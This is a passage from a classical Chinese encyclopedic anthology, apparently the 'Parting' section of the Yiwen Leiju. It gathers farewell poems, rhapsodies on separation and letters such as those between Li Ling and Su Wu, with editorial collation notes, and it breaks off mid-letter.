苹 方 绕 绕 . 落 叶 尚 纷 纷 . 无 由 得 共 赏 . 山 川 闲 白 云 .\n梁 何 逊 与 胡 兴 安 夜 别 诗 曰 . 居 人 行 转 轼 . 客 子 暂 维 舟 . 念 此 一 筵 笑 . 分 为 两 地 愁 . 露 湿 寒 塘 草 . 月 映 清 淮 流 . 芳 抱 新 离 恨 . 独 守 故 园 秋 . 又 从 镇 江 州 与 游 故 别 诗 曰 . 历 稔 共 追 游 . 一 旦 辞 群 匹 . 复 如 东 流 水 . 未 有 西 归 日 . 夜 雨 滴 空 阶 . 晓 灯 暗 雕 室 . 相 悲 各 罢 酒 . 何 时 更 促 膝 .\n梁 庾 肩 吾 侍 宴 饯 湘 东 王 诗 曰 . 陈 主 从 游 士 . 高 宴 入 承 华 . 并 载 同 连 璧 . 雕 文 类 简 沙 . 落 猿 时 动 树 . 坠 雪 暂 摇 花 . 念 此 离 筵 促 . 方 愁 别 路 赊 .\n又 侍 宴 饯 湘 州 刺 史 张 续 诗 曰 . 洞 庭 资 善 政 . 层 城 送 远 离 . 九 歌 扬 妙 曲 . 八 桂 动 芳 枝 . 雨 足 飞 春 殿 . 云 峰 入 夏 池 . 郢 路 方 辽 远 . 湘 山 转 蔽 亏 . 何 当 好 风 日 . 极 望 长 沙 垂 .\n又 饯 张 孝 总 应 令 诗 曰 . 层 台 临 回 涨 . 耿 耿 青 烟 上 . 欲 送 分 符 人 . 翻 似 河 堤 望 . 寒 云 暗 积 水 . 秋 雨 蒙 重 嶂 . 别 念 动 神 衿 . 华 文 切 离 贶 . 惭 无 寡 和 曲 . 空 陪 郢 中 唱 .\n又 应 令 诗 曰 . 江 上 早 寒 生 . 萧 条 铙 管 清 . 别 筵 开 帐 殿 . 离 舟 卷 幔 城 . 前 山 黄 叶 起 . 对 岸 白 沙 惊 . 临 涡 同 极 望 . 窃 吹 愧 才 轻 .\n又 侍 宴 饯 东 阳 太 守 范 子 云 诗 曰 . 东 部 资 良 守 . 北 宫 敦 献 酬 . 新 枝 渐 接 树 . 故 冻 欲 含 流 . 早 花 少 余 雪 . 春 寒 极 晚 秋 . 徒 嗟 白 岸 远 . 空 想 赤 松 游 .\n又 新 林 送 刘 之 遴 诗 曰 . 旆 转 黄 山 路 . 舟 缆 白 马 津 . 送 轮 时 合 幰 . 分 骖 各 背 尘 . 常 山 喜 临 代 . 陇 头 悲 望 秦 . 欲 持 汉 中 策 . 还 以 赠 征 人 .\n梁 朱 超 道 别 席 中 兵 诗 曰 . 数 年 共 游 息 . 一 旦 各 联 翩 . 莫 论 行 近 远 . 终 是 隔 山 川 . 长 波 漫 不 极 . 高 岫 郁 相 连 . 急 风 乱 还 鸟 . 轻 寒 静 暮 蝉 . 扁 舟 已 入 浪 . 孤 帆 渐 逼 天 . 停 车 对 空 渚 . 长 望 转 依 然 .\n梁 刘 显 发 新 林 浦 赠 同 省 诗 曰 . 回 首 望 归 途 . 山 川 邈 离 异 . 落 日 悬 秋 浦 . 归 鸟 飞 相 次 . 感 物 伤 我 情 . 惆 怅 怀 亲 懿 .\n梁 刘 孺 侍 宴 饯 新 安 太 守 萧 几 应 令 诗 曰 . 芝 殿 近 薄 景 . 画 室 写 油 云 . 玄 览 多 该 洽 . 圣 思 究 前 闻 . 微 密 探 精 义 . 优 游 妙 典 坟 . 饮 饯 参 多 士 . 言 赠 赋 新 文 .\n梁 王 僧 孺 送 殷 何 两 记 室 诗 曰 . 掩 袖 出 南 浦 . 驱 车 送 上 征 . 飘 飘 晓 云 ● . 瀁 瀁 旦 潮 平 . 不 肖 余 何 惜 . 无 赀 是 勿 轻 . 傥 有 还 书 便 . 一 言 访 死 生 .\n梁 张 缵 侍 宴 饯 东 阳 太 守 萧 子 云 诗 曰 . 仲 月 发 初 阳 . 轻 寒 带 春 序 . 渌 池 解 余 冻 . 丹 霞 霁 新 雨 . 良 守 谒 承 明 . 徂 舟 戒 兰 渚 . 皇 储 惜 将 迈 . 金 樽 留 宴 醑 .\n周 王 裒 入 关 故 人 送 别 诗 曰 . 百 年 余 古 树 . 千 里 闇 黄 尘 . 关 山 行 就 近 . 相 看 成 远 人 .\n又 别 裴 仪 同 诗 曰 . 河 桥 望 行 旅 . 长 亭 送 故 人 . 沙 飞 似 军 幕 . 蓬 卷 若 车 轮 . 边 衣 苦 霜 雪 . 愁 貌 损 风 尘 . 行 路 皆 兄 弟 . 千 里 念 相 亲 .\n又 别 陆 才 子 诗 曰 . 解 缆 出 南 浦 . 征 桌 且 凌 晨 . 还 看 分 手 处 . 唯 余 送 别 人 . 中 流 摇 盖 影 . 边 江 落 骑 尘 . 平 湖 开 曙 日 . 细 柳 发 新 春 . 沧 波 不 可 望 . 行 云 聊 共 因 .\n又 别 王 都 官 诗 曰 . 连 翩 悯 流 水 . 凄 怆 惜 离 群 . 东 西 御 沟 水 . 南 北 会 稽 云 . 河 桥 两 堤 绝 . 横 歧 数 路 分 . 山 川 遥 不 见 . 怀 袖 远 相 闻 .\n周 庾 信 应 令 诗 曰 . 望 别 非 新 馆 . 开 舟 即 旧 湾 . 浦 喧 征 桌 发 . 亭 空 送 客 还 . 路 尘 犹 向 水 . 征 帆 独 背 关 .\n又 和 保 法 师 诗 曰 . 秦 关 望 楚 路 . 灞 岸 想 江 潭 . 几 人 应 落 泪 . 看 君 马 向 南 .\n又 和 侃 法 师 诗 曰 . 客 游 经 岁 月 . 羁 旅 故 情 多 . 近 待 衡 阳 雁 . 秋 分 俱 度 河 .\n又 和 侃 法 师 诗 曰 . 回 首 河 堤 望 . 眷 眷 嗟 离 绝 . 谁 言 旧 国 人 . 到 在 他 乡 别 .\n又 寄 王 琳 诗 曰 玉 关 道 路 远 . 金 陵 信 使 疏 . 独 下 千 行 泪 . 开 君 万 里 书 .\n又 别 周 弘 正 ○ 原 讹 王 . 据 本 集 改 正 . 此 讹 . 诗 曰 . 扶 风 石 桥 北 . 函 谷 故 关 前 . 此 中 一 分 手 . 相 逢 知 几 年 . 黄 鹄 一 反 顾 . 徘 徊 恋 怆 然 . 自 知 悲 不 已 . 徒 劳 减 瑟 弦 .\n陈 周 弘 正 陇 头 送 征 客 诗 曰 . 朝 霜 侵 漠 草 . 流 沙 度 陇 飞 . 一 闻 流 水 曲 . 行 住 两 沾 衣 .\n又 答 林 法 师 诗 曰 . 客 行 七 十 岁 . 岁 暮 远 徂 征 . 寒 云 结 不 解 . 陇 水 冻 无 声 . 君 看 日 近 远 . 为 忖 长 安 城 .\n陈 徐 陵 新 亭 送 别 应 令 诗 曰 . 凤 吹 临 伊 水 . 时 驾 出 河 梁 . 野 燎 村 田 黑 . 江 秋 岸 荻 黄 . 隔 城 闻 上 鼓 . 回 洲 隐 去 樯 . 神 襟 爱 远 别 . 流 睇 极 清 漳 .\n又 别 毛 永 嘉 诗 曰 . 愿 子 厉 清 规 . 归 来 振 羽 仪 . 嗟 余 今 老 病 . 此 别 恐 长 离 . 白 马 君 来 哭 . 黄 泉 我 讵 知 . 徒 劳 脱 宝 剑 . 空 挂 陇 头 枝 .\n陈 张 正 见 征 虏 亭 送 新 安 王 应 令 诗 曰 . 凤 吹 临 南 浦 . 神 驾 饯 东 平 . 亭 回 漳 水 乘 . 旆 转 洛 滨 笙 . 地 冻 班 轮 响 . 风 严 羽 盖 轻 . 烧 田 云 色 暗 . 古 树 雪 花 明 . 歧 路 一 回 首 . 流 襟 动 眷 情 . 又 秋 日 别 庾 正 员 诗 曰 . 征 途 愁 转 旆 . 连 骑 惨 停 镳 . 朔 气 凌 疏 木 . 江 风 送 上 潮 . 青 雀 离 帆 远 . 朱 鸢 别 路 遥 . 唯 有 当 秋 月 . 夜 夜 上 河 桥 .\n陈 阴 铿 送 始 兴 王 诗 曰 . 良 守 别 承 明 . 枉 道 暂 逢 迎 . 去 帆 收 锦 ● . 归 骑 指 兰 城 . 纷 纠 连 山 暗 . 潺 湲 泒 水 清 . 桂 晚 花 方 白 . 莲 秋 叶 始 轻 . 背 飞 伤 客 念 . 临 岐 悯 圣 情 . 分 风 不 得 远 . 何 由 送 上 征 .\n又 江 津 送 刘 光 禄 不 及 诗 曰 . 依 然 临 送 渚 . 长 望 倚 河 津 . 鼓 声 随 听 绝 . 帆 势 与 云 邻 . 泊 处 空 余 鸟 . 离 亭 已 散 人 . 林 寒 正 下 叶 . 钩 晚 欲 收 纶 . 如 何 相 背 远 . 江 汉 与 城 闉 .\n又 广 陵 岸 送 北 使 诗 曰 . 行 人 引 去 节 . 送 客 舣 归 舻 . 即 是 观 涛 处 . 仍 为 郊 赠 衢 . 汀 洲 浪 已 息 . 邦 江 路 不 纡 . 亭 嘶 背 枥 马 . 樯 转 向 风 乌 . 海 上 春 云 杂 . 天 际 晚 帆 孤 . 离 舟 对 零 雨 . 别 渚 望 飞 凫 . 定 知 能 下 泪 . 非 但 一 杨 朱 .\n隋 江 总 赠 洗 马 袁 朗 别 诗 曰 . 贾 谊 登 朝 日 . 终 军 对 奏 年 . 校 文 升 广 内 . 抚 剑 入 崇 贤 . 奇 才 殊 艳 逸 . 将 别 爱 留 联 . 驱 车 命 铙 管 . 拱 坐 面 林 泉 . 池 寒 稍 下 雁 . 木 落 久 无 蝉 . 雾 侵 山 上 月 . 霜 开 石 路 烟 . 高 谈 无 与 慰 . 迟 尔 报 华 篇 .\n又 别 袁 昌 州 诗 曰 . 河 梁 望 陇 头 . 分 手 路 悠 悠 . 徂 年 惊 若 电 . 别 日 欲 成 秋 . 黄 鹄 飞 飞 远 . 青 山 去 去 愁 . 不 言 云 雨 散 . 更 似 东 西 流 .\n又 赋 得 携 手 上 河 梁 应 诏 诗 曰 . 早 秋 天 气 凉 . 分 手 关 山 长 . 云 愁 数 处 黑 . 木 落 几 枝 黄 . 鸟 归 犹 识 路 . 流 去 不 知 乡 . 秦 川 心 断 绝 . 何 悟 是 河 梁 .\n又 别 袁 昌 州 诗 曰 . 客 子 叹 途 穷 . 此 别 异 西 东 . 关 山 嗟 坠 叶 . 岐 路 悯 征 蓬 . 别 鹤 声 声 远 . 愁 云 处 处 同 .\n又 别 宾 化 侯 诗 曰 . 分 歧 泣 世 道 . 念 别 伤 边 秋 . 断 山 时 结 雾 . 平 海 若 无 流 . 惊 鹭 一 群 起 . 哀 猿 数 处 愁 . 是 日 送 归 客 . 为 情 自 可 求 .\n又 别 永 新 侯 诗 曰 . 送 君 张 掖 郡 . 分 悲 函 谷 关 . 欲 知 肠\n断 绝 . 浮 云 去 不 还 .\n人 部 十 四 别\n下 怨\n又 感 离 赋 曰 . 建 安 十 六 年 . 上 西 征 . 余 居 守 . 老 母 诸 弟 皆 从 . 不 胜 思 慕 . 乃 作 赋 曰 . 秋 风 动 兮 天 气 凉 . 居 常 不 快 兮 中 心 伤 . 出 北 园 兮 仿 徨 . 望 众 慕 兮 成 行 . 柯 条 憯 兮 无 色 . 绿 草 变 兮 萎 黄 . 感 微 霜 兮 零 落 . 随 风 雨 兮 飞 扬 . 日 薄 暮 兮 无 悰 . 思 不 衰 兮 愈 多 . 招 延 伫 兮 良 久 . 忽 踟 蹰 兮 忘 家 .\n又 永 思 赋 曰 . 仰 北 辰 而 永 思 . 溯 悲 风 以 增 伤 . 哀 遐 路 之 漫 漫 . 痛 长 河 之 无 梁 . 愿 托 乘 于 浮 云 . 嗟 逝 速 之 难 当 .\n又 出 妇 赋 曰 . 思 在 昔 之 恩 好 . 似 比 翼 之 相 亲 . 惟 方 今 之 疏 绝 . 若 惊 风 之 吹 尘 . 夫 色 衰 而 爱 绝 . 信 古 今 其 有 之 . 伤 茕 独 之 无 恃 . 恨 胤 嗣 之 不 滋 . 甘 没 身 而 同 穴 . 终 百 年 之 长 期 . 信 无 子 而 应 出 . 自 典 礼 之 常 度 . 悲 谷 风 之 不 答 . 怨 昔 人 之 忽 故 . 被 入 门 之 初 服 . 出 登 车 而 就 路 . 遵 长 涂 而 南 迈 . 马 踌 躇 而 回 顾 . 野 鸟 翩 而 高 飞 . 怆 哀 鸣 而 相 慕 . 抚 騑 服 而 展 节 . 即 临 沂 之 旧 城 . 践 麋 鹿 之 曲 蹊 . 听 百 鸟 之 群 鸣 . 情 怅 恨 而 顾 望 . 心 郁 结 其 不 平 .\n魏 陈 王 曹 植 出 妇 赋 曰 . 以 才 薄 之 质 陋 . 奉 君 子 之 清 尘 . 承 颜 色 以 接 意 . 恐 疏 贱 而 不 亲 . 悦 新 昏 而 忘 妾 . 哀 爱 惠 之 中 零 . 遂 摧 颓 而 失 望 . 退 幽 屏 于 下 庭 . 痛 一 旦 而 见 弃 . 心 忉 怛 以 悲 惊 . 衣 入 门 之 初 服 . 背 床 室 而 出 征 . 攀 仆 御 而 登 车 . 左 右 悲 而 失 声 . 嗟 冤 结 而 无 诉 . 乃 愁 苦 以 长 穷 . 恨 无 愆 而 见 弃 . 悼 君 施 之 不 终 .\n又 愍 志 赋 曰 . 或 人 有 好 邻 人 之 女 者 . 时 无 良 媒 . 礼 不 成 焉 . 彼 女 遂 行 适 人 . 有 言 之 于 余 者 . 余 心 感 焉 . 乃 作 赋 曰 . 窃 托 音 于 往 昔 . 迄 来 春 之 不 从 . 思 同 游 而 无 路 . 情 壅 隔 而 靡 通 . 哀 莫 哀 于 永 绝 . 悲 莫 悲 于 生 离 . 岂 良 时 之 难 俟 . 痛 余 质 之 日 亏 . 登 高 楼 以 临 下 . 望 所 欢 之 攸 居 . 去 君 子 之 清 宇 . 归 小 人 之 蓬 庐 . 欲 轻 飞 而 从 之 . 迫 礼 防 之 我 拘 .\n又 归 思 赋 曰 . 背 故 乡 而 迁 徂 . 将 遥 憩 乎 北 滨 . 经 平 常 之 旧 居 . 感 荒 坏 而 莫 振 . 城 邑 寂 以 空 虚 . 草 木 秽 而 荆 榛 . 嗟 乔 木 之 无 阴 . 处 原 野 其 何 为 . 信 乐 土 之 足 慕 . 忽 并 日 而 载 驰 .\n魏 王 粲 出 妇 赋 曰 . 既 侥 幸 兮 非 望 . 逢 君 子 兮 弘 仁 . 当 隆 暑 兮 翕 赫 . 犹 蒙 眷 兮 见 亲 . 更 盛 衰 兮 成 败 . 思 弥 固 兮 日 新 . 竦 余 身 兮 敬 事 . 理 中 馈 兮 恪 勤 . 君 不 笃 兮 终 始 . 乐 枯 荑 兮 一 时 . 心 摇 荡 兮 变 易 . 忘 旧 姻 兮 弃 之 . 马 已 驾 兮 在 门 . 身 当 去 兮 不 疑 . 揽 衣 带 兮 出 户 . 顾 堂 室 兮 长 辞 .\n晋 陆 机 别 赋 曰 . 伊 公 子 之 可 怀 . 悲 永 别 之 局 期 . 悼 同 居 之 无 乐 . 曾 不 逾 乎 一 期 . 经 春 秋 之 寒 暑 . 常 戚 戚 而 不 怡 . 登 九 层 而 脩 观 . 超 临 远 以 相 思 .\n晋 傅 咸 感 别 赋 曰 . 嘉 天 地 之 交 泰 . 美 万 物 之 会 通 . 悦 朋 友 之 攸 摄 . 慕 管 鲍 之 遐 踪 . 退 以 文 而 会 友 . 钦 公 子 之 清 尘 . 信 同 声 之 相 应 . 意 未 写 而 情 亲 . 誓 雅 好 之 龆 . 分 绸 缪 而 日 新 . 兰 蕙 含 芬 . 有 时 而 馨 . 龙 骥 踠 足 . 有 时 而 征 . 干 道 变 化 . 时 惟 大 明 . 峨 峨 睦 友 . 载 扬 厥 声 . 降 圣 宰 之 旌 招 . 曜 羽 仪 之 上 京 . 赞 唐 虞 之 嘉 运 . 超 飞 跃 乎 太 清 . 佩 银 璜 于 帝 侧 . 拖 紫 艾 于 天 庭 . 瞻 宸 极 之 眇 眇 . 喜 吾 子 之 宠 荣 . 无 荆 玉 之 夜 观 . 猥 齐 景 于 夜 光 . 敢 有 观 于 斯 举 . 欣 与 子 而 并 翔 . 天 启 其 愿 . 自 忝 苹 蘩 . 幼 则 同 游 . 长 则 同 班 . 同 心 厥 职 . 其 臭 如 兰 . 庶 绩 未 凝 . 圣 朝 畴 咨 . 显 佐 纳 言 . 光 综 万 机 . 出 顺 景 而 为 偶 . 入 然 而 无 依 . 步 空 宇 以 低 徊 . 想 宴 笑 之 余 晖 . 意 绵 而 弥 结 . 泪 雨 面 而 沾 衣 .\n梁 江 淹 别 赋 曰 . 黯 然 销 魂 者 . 唯 别 而 已 矣 . 况 秦 吴 兮 绝 国 . 复 燕 宋 兮 千 里 . 或 春 苔 兮 始 生 . 乍 秋 风 兮 暂 起 . 是 以 行 子 肠 断 . 百 感 凄 恻 . 风 萧 萧 而 异 响 . 云 漫 漫 兮 奇 色 . 舟 凝 滞 于 水 滨 . 车 逶 迟 于 山 侧 . 桌 容 与 而 记 ○ 文 选 十 六 作 讵 . 此 讹 . 前 . 马 寒 鸣 而 不 息 . 掩 金 觞 而 谁 御 . 横 玉 柱 而 沾 轼 . 居 人 愁 卧 . 恍 若 有 亡 . 日 下 壁 而 沉 彩 . 月 上 轩 而 飞 光 . 知 离 梦 之 踯 躅 . 意 离 魂 之 飞 扬 . 尔 乃 别 虽 一 绪 . 事 乃 万 族 . 至 若 龙 马 银 鞍 . 朱 轩 绣 轴 . 帐 饮 东 都 . 送 客 金 谷 . 琴 羽 张 兮 箫 鼓 陈 . 燕 赵 歌 兮 伤 美 人 . 珠 与 玉 兮 艳 暮 秋 . 罗 与 绮 兮 娇 上 春 . 造 分 手 而 衔 涕 . 感 寂 寞 而 伤 神 . 乃 有 剑 客 惭 恩 . 少 年 报 士 . 韩 国 赵 厕 . 吴 宫 燕 市 . 驱 征 马 而 不 顾 . 见 行 尘 之 时 起 . 又 若 君 居 淄 右 . 妾 家 河 阳 . 同 琼 佩 之 晨 照 . 共 金 炉 之 夕 香 . 君 结 绶 兮 千 里 . 惜 瑶 草 之 徒 芳 . 惭 幽 宫 之 琴 瑟 . 悔 台 上 之 流 黄 . 春 闱 閟 此 青 苔 色 . 秋 帐 涵 兹 明 月 光 . 夏 簟 清 兮 昼 不 暮 . 冬 釭 凝 兮 夜 何 长 . 织 锦 曲 兮 泣 已 尽 . 回 纹 诗 兮 影 独 伤 . 是 以 别 方 不 定 . 别 理 千 名 . 有 别 必 怨 . 有 怨 必 盈 . 使 人 意 夺 神 骇 . 心 摧 骨 惊 .\n又 去 故 乡 赋 曰 . 日 已 暮 兮 . 隐 吴 山 之 丘 墟 . 北 风 折 兮 绛 花 落 . 流 水 严 兮 翠 茎 流 . 发 桂 枝 而 不 是 . 怅 浮 云 之 离 居 . 乃 陵 大 壑 . 越 苍 川 . 茫 茫 积 水 . ● ● 断 山 . 穷 阴 ● 海 . 平 芜 带 天 . 于 是 泣 故 关 之 已 虚 . 伤 故 国 之 无 际 . 出 汀 洲 而 解 冠 . 入 溆 浦 而 捐 袂 . 芳 洲 之 草 行 欲 暮 . 桂 水 之 波 不 可 渡 . 绝 世 独 立 兮 . 报 君 子 之 一 顾 . 是 时 霜 翦 蕙 兮 风 摧 芷 . 平 原 晚 兮 黄 雾 起 . 重 曰 . 江 南 之 杜 衡 兮 色 已 陈 . 愿 使 黄 鹄 兮 报 佳 人 . 横 羽 觞 而 掩 望 . 抚 玉 琴 兮 何 亲 .\n梁 刘 孝 仪 叹 别 赋 曰 . 在 羁 旅 兮 为 思 . 每 居 常 而 不 乐 . 意 难 偕 于 骀 荡 . 情 易 邀 于 陨 获 . 愁 非 和 而 自 来 . 忧 试 排 而 不 却 . 退 求 己 以 自 省 . 慨 抚 衿 而 太 息 . 位 不 俟 于 一 进 . 发 徒 彰 于 二 色 . 名 有 似 于 务 耕 . 学 无 均 于 譬 织 . 在 初 归 之 为 庆 . 庶 因 拙 而 自 收 . 保 私 庭 之 宴 喜 . 共 昆 弟 而 嬉 游 . 校 小 文 于 摇 笔 . 比 揩 式 于 临 流 . 止 每 欢 于 接 膝 . 行 如 喜 于 同 辀 . 忽 一 去 而 数 千 . 遂 离 居 而 别 域 . 阻 同 被 于 当 寐 . 乖 共 于 终 食 . 唯 凭 远 望 以 代 归 . 负 相 思 其 无 力 .\n梁 张 缵 离 别 赋 曰 . 太 常 刘 侯 . 前 辈 宿 达 . 余 在 纨 绮 之 岁 . 固 已 钦 其 风 矣 . 及 理 桌 江 干 . 揽 涕 还 望 . 采 萧 之 咏 . 不 觉 成 篇 . 彼 刘 侯 之 矫 矫 . 承 世 德 之 清 辉 . 挺 荆 衡 之 箘 . 辉 江 汉 之 珠 玑 . 昔 相 知 于 一 定 . 逾 盛 衰 乎 二 纪 . 岂 因 媒 以 成 亲 . 非 弹 冠 而 来 仕 . 分 自 谐 于 金 石 . 情 冥 符 乎 兰 芷 . 忘 时 辈 之 后 先 . 略 相 知 之 年 齿 . 及 胥 遇 于 云 阁 . 又 方 驾 而 联 曹 . 宵 拥 衾 而 暗 语 . 昼 税 鞅 以 游 遨 . 案 方 前 而 等 食 . 衣 共 体 而 同 袍 . 犹 合 欢 之 蠲 忿 . 如 来 苏 之 释 劳 . 唯 吾 人 之 与 子 兮 . 谅 不 言 其 已 召 . 在 百 代 而 奚 殊 . 虽 千 年 而 同 调 . 宁 风 波 之 所 移 . 岂 流 俗 之 能 要 . 非 高 唱 而 云 拟 . 逢 下 士 而 或 笑 . 隔 愿 言 于 信 次 . 尚 眷 眷 而 兴 怀 . 矧 云 崖 之 远 诀 . 抱 离 袖 而 长 乖 . 顾 龙 门 而 掩 涕 . 瞻 郢 路 而 何 偕 . 在 惊 禽 之 屡 感 . 迫 徂 年 之 长 暮 . 眺 湘 沅 之 分 流 . 遵 洞 庭 之 永 路 . 山 峻 高 而 易 隐 . 浦 邅 回 而 难 溯 . 猿 啾 啾 而 夜 吟 . 鹃 骚 骚 而 晓 度 . 抚 客 子 兮 其 何 心 . 能 辞 乡 兮 别 故 . 共 抱 荃 蕙 之 遗 芳 . 共 ○ 初 学 记 十 八 作 不 . 离 披 于 霜 露 .\n【 书 】 汉 李 陵 与 苏 武 书 曰 . 子 卿 名 声 冠 于 图 籍 . 分 义 光 于 二 国 . 形 影 表 于 丹 青 . 爵 禄 传 于 王 室 . 家 获 无 穷 之 宠 . 永 明 白 于 千 载 . 夫 行 志 志 立 . 求 仁 得 仁 . 虽 遭 困 厄 . 死 而 后 已 . 将 何 恨 哉 . 陵 前 提 步 卒 五 千 . 深 入 匈 奴 右 地 三 千 余 里 . 虽 身 降 名 辱 . 下 计 其 功 . 岂 不 足 以 免 老 母 之 命 耶 . 嗟 乎 子 卿 . 世 事 谬 矣 . 功 者 福 主 . 今 为 祸 先 . 忠 者 义 本 . 今 为 重 患 . 是 以 彭 蠡 赴 流 . 屈 原 沉 身 . 子 欲 居 九 夷 . 此 不 由 感 怨 之 志 耶 . 行 矣 子 卿 . 恩 若 一 体 . 分 为 二 朝 . 悠 悠 永 绝 . 何 可 为 思 . 人 殊 俗 异 . 死 生 断 绝 . 何 由 复 达 .\n汉 苏 武 报 李 陵 书 曰 . 曩 以 人 乏 . 奉 使 方 外 . 至 使 遐 夷 作 逆 . 封 豕 造 悖 . 豺 狼 出 爪 . 摧 辱 王 命 . 身 幽 于 无 人 之 处 . 迹 戢 于 胡 塞 之 地 . 歃 朝 露 以 为 饮 . 茹 田 鼠 以 为 粮 . 穷 目 极 望 . 不 见 所 识 . 侧 耳 远 听 . 不 闻 人 声 . 当 此 之 时 . 生 不 足 甘 . 死 不 足 恶 . 所 以 忍 困 强 存 . 徒 念 忠 义 . 虽 诱 仆 以 隆 爵 厚 宠 . 万 金 之 利 . 不 以 滑 其 虑 也 . 迫 以 白 刃 在 颈 . 鈇 锧 在 喉 . 不 以 动 其 心 也 . 何 则 . 志 定 于 不 回 . 期 誓 于 没 命 . 幸 赖 圣 明 . 远 垂 拯 赎 . 得 使 入 汤 之 禽 . 复 假 羽 毛 . 刖 断 之 足 . 复 蒙 连 续 . 每 念 足 下 . 才 为 世 英 . 器 为 时 出 . 语 曰 . 夜 行 被 绣 . 不 足 为 荣 . 况 于 家 室 孤 灭 . 弃 在 绝 域 . 衣 则 异 制 . 食 味 不 均 . 弃 损 功 名 . 虽 尚 视 息 . 与 亡 无 异 . 向 使 君 服 节 死 难 . 书 功 竹 帛 . 传 名 千 代 . 茅 土 之 封 . 永 在 不 朽 . 不 亦 休 哉 . 嗟 乎 季 卿 . 事 已 去 矣 . 失 之 毫 厘 . 差 之 千 里 . 将 复 何 言 . 所 贶 重 遗 . 义 当 顺 承 . 本 为 一 体 . 今 为 异 俗 . 余 归 汉 室 . 子 留 彼 国 . 臣 无 境 外 之 交 . 故 不 当 受 . 乖 离 邈 矣 . 相 见 未 期 . 国 别 俗 殊 . 死 生 隔 绝 . 岱 马 越 鸟 . 能 不 依 依 . 谨 奉 答 报 . 并 还 所 赠 .\n李 陵 重 报 书 曰 . 子 卿 足 下 . 勤 宣 令 德 . 策 名 清 时 . 荣 问 休 畅 . 幸 甚 幸 甚 . 远 托 异 国 . 昔 人 所 悲 . 望 风 怀 想 . 能 不 依 依 . 自 从 初 降 . 以 至 今 日 . 身 之 困 穷 . 独 坐 愁 苦 . 终 日 无 睹 . 但 见 异 类 . 韦 鞲 毳 幙 . 以 御 风 雨 . 膻 肉 酪 浆 . 以 充 饥 渴 . 举 目 言 笑 . 谁 与 为 欢 . 凉 秋 九 月 . 塞 外 草 衰 . 夜 不 能 寐 . 侧 耳 远 听 . 胡 笳 互 动 . 牧 马 悲 鸣 . 吟 啸 成 群 . 听 之 不 觉 泪 下 . 与 子 别 后 . 边 声 四 起 . 晨 坐 益 复 无 聊 . 身 负 国 恩 . 为 世 所 悲 . 子 归 受 荣 . 我 留 受 辱 . 命 也 何 如 . 身 出 礼 义 之 乡 . 入 无 知 之 俗 . 每 一 念 至 . 忽 然 忘 生 . 陵 不 难 刺 心 以 自 明 . 刎 颈 以 见 志 . 顾 国 家 于 我 已 矣 . 杀 身 无 益 . 适 足 增 羞 . 左 右 之 人 . 见 陵 如 此 . 为 不 入 耳 之 欢 . 来 相 劝 勉 . 异 方 之 乐 . 秖 令 人 悲 . 增 忉 怛 尔 . 子 卿 视 陵 . 岂 偷 生 之 士 . 而 惜 死 之 人 哉 . 诚 以 虚 死 不 如 立 节 . 灭 名 不 如 报 德 也 . 昔 范 蠡 不 殉 会 稽 之 耻 . 曹 沫 不 死 三 败 之 辱 . 卒 复 句 践 之 雠 . 报 鲁 国 之 羞 . 区 区 之 心 . 窃 慕 此 尔 . 足 下 又 云 . 汉 于 功 臣 不 薄 . 子 为 汉 臣 . 安 得 不 云 尔 乎 . 足 下 昔 以 单 车 之 使 . 适 万 乘 之 虏 . 丁 年 奉 使 . 皓 首 而 归 . 老 母 终 堂 . 生 妻 去 室 . 此 天 下 所 希 闻 . 古 今 所 未 有 . 闻 子 之 归 . 赐 不 过 二 百 万 . 位 不 过 典 属 国 . 子 尚 如 此 . 陵 复 何 望 哉 . 且 汉 厚 诛 陵 以 不 死 . 薄 赏 子 以 守 节 . 欲 使 远 听 之 臣 . 望 风 驰 命 . 此 实 难 矣 . 男 儿 生 以 不 成 名 . 死 则 葬 蛮 夷 中 . 谁 复 能 屈 身 稽 颡 . 回 向 北 阙 . 使 刀 笔 之 吏 . 弄 其 文 墨 耶 . 嗟 乎 子 卿 . 夫 复 何 言 . 相 去 万 里 . 人 绝 路 殊 . 生 为 别 世 之 人 . 死 为 异 域 之 鬼 . 长 与 足 下 生 死 辞 矣 .\n后 汉 张 奂 与 延 笃 书 曰 . 唯 别 三 年 . 无 一 日 之 忘 . 京 师 禁 急 . 不 敢 相 闻 . 岂 不 怀 归 . 畏 此 简 书 . 年 老 气 衰 . 智 尽 谋 索 . 每 有 所 处 . 违 宜 失 便 . 北 为 儿 车 所 雠 . ○ 按 后 汉 书 九 十 五 张 奂 传 论 云 . 见 欺 竖 子 疑 本 句 北 当 作 比 . 车 当 作 辈 . 中 为 马 循 所 困 . 直 欲 入 三 泉 之 下 . 复 镇 之 以 大 石 . 厄 乎 此 时 也 . 且 太 阴 之 地 . 冰 厚 三 尺 . 木 皮 三 寸 . 风 寒 惨 冽 . 剥 脱 伤 骨 . 但 此 自 非 老 惫 者 所 堪 . 而 复 加 之 以 师 旅 . 因 之 以 饥 馑 . 众 难 聚 集 . 不 可 一 二 言 也 . 聋 盲 日 甚 . 气 力 寝 衰 . 神 耶 当 复 相 见 者 . ○ 句 有 讹 . 从 此 辞 矣 .\n后 汉 窦 玄 . 形 貌 绝 异 . 天 子 以 公 主 妻 之 . 旧 妻 与 玄 书 别 曰 . 弃 妻 斥 女 敬 白 窦 生 . 卑 贱 鄙 陋 . 不 如 贵 人 . 妾 日 已 远 . 彼 日 已 亲 . 何 所 告 诉 . 仰 呼 苍 天 . 悲 哉 窦 生 . 衣 不 厌 新 . 人 不 厌 故 . 悲 不 可 忍 . 怨 不 自 去 . 彼 独 何 人 . 而 居 我 处 .\n晋 赵 景 真 与 嵇 茂 齐 书 曰 . 昔 李 叟 入 秦 . 及 关 而 叹 . 梁 生 适 越 . 登 岳 长 谣 . 夫 以 嘉 遯 之 举 . 犹 怀 恋 恨 . 况 乎 不 得 已 者 哉 . 惟 别 之 后 . 离 群 独 逝 . 背 荣 宴 . 辞 伦 好 . 经 迥 路 . 造 沙 漠 . 鸣 鸡 戒 旦 . 则 飘 尔 晨 征 . 日 薄 西 山 . 则 马 首 靡 托 . 或 乃 回 飙 狂 厉 . 白 日 寝 光 . 徙 倚 交 错 . 陵 隰 相 望 . 涉 泽 求 蹊 . 披 榛 觅 路 . 啸 咏 沟 渠 . 良 不 可 度 . 斯 亦 行 路 之 艰 难 . 然 非 吾 心 之 所 惧 也 . 又 北 土 之 性 . 难 以 托 根 . 投 人 夜 光 . 鲜 不 案 剑 . 今 将 植 橘 柚 于 玄 朔 . 蒂 华 藕 于 脩 陵 . 表 龙 章 于 裸 壤 . 奏 韶 武 于 聋 俗 . 固 难 以 取 贵 矣 . 朝 霞 启 